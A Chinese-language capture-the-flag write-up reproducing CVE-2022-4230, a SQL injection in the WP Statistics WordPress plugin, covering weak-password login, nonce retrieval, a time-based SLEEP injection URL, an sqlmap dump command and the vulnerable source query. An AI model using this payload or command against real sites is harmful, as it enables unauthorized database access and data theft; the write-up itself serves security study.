CVE-2022-4230 复现

meraklbz / 2024-08-04 / 原文

题目描述:

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

根据描述,我们直接去查看wp-admin路由.
使用弱密码爆破发现账号密码都是test,成功登录.
登录以后发现已启用有漏洞的WP Statics.
image

我们上wpscan网站上去查看有关这个漏洞的利用如下

Log in as a user allowed to View WP Statistic and get a nonce via https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

首先访问https://example.com/wp-admin/admin-ajax.php?action=rest-nonce获得一个动态验证码(nonce).
什么是动态验证码(nonce)?nonce是api的一种校验机制,描述如下

(1)nonce为客户端随机生成的验证码,当服务器接收到请求后,会把nonce存储到数据库中,一般使用redis,并设置一个有效期,一般和时间戳timestamp的失效时间保持一致,设为10分钟有效期。
(2)当服务器接收到请求后,用请求中nonce(本文为7878)和redis中的nonce集合做比较,如果已经存在,则拒绝访问接口,只有当10分钟之内第一次使用7878这个动态码,才判定访问有效。

image

然后我们使用这个动态验证码替换NONCE访问http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa
image

然后再次访问并截取http报文,扔到sqlmap里跑一下即可得到flag.
最终的sqlmap命令如下

sqlmap -r http -D wordpress -T flag -C flag --dump

从源码角度分析一下漏洞的成因,sql执行语句如下:

$wpdb->get_results("SELECT * FROM `" . DB::table('search') . "` INNER JOIN `" . DB::table('visitor') . "` on `" . DB::table('search') . "`.`visitor` = " . DB::table('visitor') . ".`ID` WHERE {$search_query} ORDER BY `" . DB::table('search') . "`.`ID` DESC " . ($args['limit'] != null ? " LIMIT " . $args['limit'] : " LIMIT 0, {$args['per_page']}"));

可以看到并不是参数绑定,而是直接进行拼接的(虽然拼接的比较麻烦).